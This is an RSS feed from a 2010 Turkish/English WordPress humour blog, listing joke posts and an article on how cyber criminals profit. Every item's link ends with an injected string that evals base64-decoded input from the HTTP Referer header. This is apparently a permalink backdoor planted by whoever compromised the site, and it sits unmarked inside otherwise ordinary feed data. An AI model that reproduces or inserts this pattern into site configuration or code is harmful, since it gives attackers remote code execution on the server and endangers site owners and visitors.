<?xml version="1.0" encoding="UTF-8"?><rss version="0.92">
<channel>
	<title>Dedegi.Com</title>
	<link>http://www.dedegi.com</link>
	<description>bilgi,paylaşım,tanıtım,dağıtım</description>
	<lastBuildDate>Wed, 16 Jun 2010 15:10:14 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	<!-- generator="WordPress/3.0.1" -->

	<item>
		<title>Dostluk-Arkadaşlık Nedir~What is friendship?</title>
		<description><![CDATA[  &#8220;Arkadaşlık kimi en uzun süredir tanıdığınla ilgili değil, aslında kimin yanına gelip seni hiç terk etmediğiyle ilgili bir şeydir.&#8221; &#8220;Friendship is not about whom you know  the longest, in fact, it is something related with who comes up beside, and never abandoned you .&#8221;             **************************************** Başka Laf&#8217;a Gerek Var mı~Any [...]]]></description>
		<link>http://www.dedegi.com/2010/06/08/dostluk-arkadaslik-nedirwhat-is-friendship/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Fıkra~Joke:Temel Neden Dönüyor~Why Temel is Returning</title>
		<description><![CDATA[  Temel 20 senedir Almanya&#8217;da yaşıyormuş. Bir gün göçmen bürosuna gidip Almanya&#8217;dan kesin dönüş yapacağını söylemiş. Göçmen bürosundaki Almanlar Temel&#8217;i tanıyorlar, seviyorlar.   Sormuşlar; &#8216;Niye dönüyorsun?&#8217;   Temel &#8216;homoseksüeller yüzünden&#8217; demiş.   Bürodakiler şaşırmış; &#8216;Seni rahatsız filan ediyorlarsa hemen bir şikâyette bulun, gereğini yaparız. Buradan bu yüzden ayrılmana değmez demişler&#8217;.   Temel &#8216;Beni rahatsız etmiyorlar&#8217; demiş.  Bürodakiler yine şaşırmış; [...]]]></description>
		<link>http://www.dedegi.com/2010/06/07/fikrajoketemel-neden-donuyorwhy-temel-is-returning/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>İngilizce Okumayı Biliyor musunuz?~Do You Know How To Read English?</title>
		<description><![CDATA[Aşağıdaki Grafikde Yer Alan Türkçe Kelimelerin İngilizce Tercümelerini Okuyun Lütfen. Read The English Translations of the Turkish Words Written Inside The Graphic Please. Grafik İçeriğiyle İlgili Yorum Yapınız Lütfen. Make a comment about the texts inside the Graphics Please.   Not-Note: R.Akgün , Grafiği bana mail ile gönderen arkadaşım, teşekkürlerimle~Couertsy to my friend who sent the Graphics to me via e-mail… [...]]]></description>
		<link>http://www.dedegi.com/2010/05/28/ingilizce-okumayi-biliyor-musunuzdo-you-know-how-to-read-english/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Anne ve Üç Oğlu~Mother and Her Three Son</title>
		<description><![CDATA[ Üç zengin yahudi kardeş annelerine doğum gününde birer hediye almaya karar vemişler.. Hediyelerini yolladıktan sonra aralarında sohbet etmeye başlamışlar. Birincisi demiş ki; - Ben anneme kocaman bir ev aldım. İkincisi; -Ben bir limuzin aldım ve bir de şöför tutum. Üçüncüsü;  - Benim hediyem hepinizinkinden güzel. Annemin Tevratı okumayı ne kadar sevdiğini ve gözleri iyi görmediği [...]]]></description>
		<link>http://www.dedegi.com/2010/05/22/anne-ve-uc-oglumother-and-her-three-son/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>DAYAMIŞLAR MATEMATUĞU AYUPTURR!!!</title>
		<description><![CDATA[      Trabzonlu Temel Ağa&#8217;nın sevgili torunu Eda&#8217;ya verilen ödev ile başı derttedir&#8230; Eskisehir&#8217;e göç eden arkadaşı Niyazi&#8217;ye başına gelenleri yazar:  &#8217; Niyazicugum. Hani benim küçük torun var ya. Geçen akşam, geturdi ödevini önüme koydi. Bi yandan da aglay. Zaten dertlerini hep baga açar. Dedi ki; -&#8217;Habunlari anliyamadum. O yüzden da yapamadum. Yarin ögretmen beni dövecek.&#8217; [...]]]></description>
		<link>http://www.dedegi.com/2010/05/22/dayamislar-matematugu-ayupturr/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Çoban ve Uzman~Shepard and the Expert</title>
		<description><![CDATA[   Çobanın biri dere kenarında koyunlarını otlatıyormuş. Tam o anda, yanına  bir Cherokee Jeep yanaşmış. Brioni gömlek, Prada ayakkabılar giyen,  Ray-Ban gözlüklü ve Stefano Ricci kravatlı bir sürücü, aşağıya inip,  çobana sormuş. &#8221; Kaç tane koyunun olduğunu bilirsem, bana onlardan bir tanesini verir  misin? &#8221; Çoban, bir adama bir de koyunlarına bakmış; &#8221; Tamam &#8221; [...]]]></description>
		<link>http://www.dedegi.com/2010/05/22/coban-ve-uzmanshepard-and-the-expert/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Siber suçlular nasıl para kazanıyor?~How cyber criminals are making money?</title>
		<description><![CDATA[    Pek çoğumuz kişisel ve mahrem verilerimizi güvende tutmak için özel bir çaba harcıyoruz. Böyle düşünülürse siber suçlular için hayatı zorlaştırdığımız öne sürülebilir, ama işin aslı hiç de öyle görünmüyor. İngiliz Hükümeti ve Microsoft tarafından desteklenen Get Safe Online kampanyası ( www.getsafeonline.org ) tarafından açıklanan rapora göre online suçlarda büyük paralar dönüyor. Araştırmaya göre ortalama [...]]]></description>
		<link>http://www.dedegi.com/2010/04/27/siber-suclular-nasil-para-kazaniyorhow-cyber-criminals-are-making-money/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Fıkra-Joke:Frank Feldman Adlı Biri~A Guy Named  Frank Feldman</title>
		<description><![CDATA[   Adamın biri sokağa daha adımını atar atmaz boş bir taksi bulmayı başarmış. Taksiye bindiğinde şoför, &#8220;mükemmel zamanlama, aynı Frank gibisin&#8221; demiş. Yolcu &#8220;kim ?&#8221; diye sormuş. Şoför; &#8220;. O her şeyi tam zamanında yapan bir adamdı. Senin sokağa çıkar çıkmaz taksi buluvermen gibi şeyleri Frank Feldman her seferinde başarırdı.&#8221; Yolcu, &#8220;Bazen herkesin başının üzerinde [...]]]></description>
		<link>http://www.dedegi.com/2010/04/25/fikra-jokefrank-feldman-adli-biria-guy-named-frank-feldman/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Hidayet:Otobüs Şoförü~Bus Driver</title>
		<description><![CDATA[                                                                                                                                               Hidayet ölünce cennetin kapısında kuyruğa girer. Hemen önünde bekleyen adam pederdir. Kapıda bir melek beklemektedir.          Melek pedere sorar: Hiç günahın var mı peder?      Peder; Aziz melek ben rahiptim. Tüm hayatım boyunca hep tanrıma dua ettim. Karıma ve çocuklarıma sadik kaldım. İnsanlara ve hayvanlara hep yardim ettim      Melek ; Çok iyi, bunları [...]]]></description>
		<link>http://www.dedegi.com/2010/04/25/hidayetotobus-soforubus-driver/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
	<item>
		<title>Evli Adam Yatak Odasına Girer~A Married Guy Walks Into The Bedroom</title>
		<description><![CDATA[   Bir Fıkra For English See Below Evli bir adam,elinde tasmasını tuttuğu bir koyunla yatak odasına girer ve eşine;&#8221;Tatlım, işte başın ağrıdığında kendisiyle aşk yaptığım sığır bu&#8220;. Yatakta uzanmış olan eşi,okuduğu kitaptan başını kaldırarak; &#8221; Eğer bu kadar salak olmasaydır,onun bir sığır değil,koyun olduğunu anlardın&#8220;. Adam cevap verir; &#8221; Eğer sen de bu kadar haddini bilmez küstah [...]]]></description>
		<link>http://www.dedegi.com/2010/04/25/evli-bir-adam-yatak-odasina-girera-married-guy-walks-into-the-bedroom/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
			</item>
</channel>
</rss>
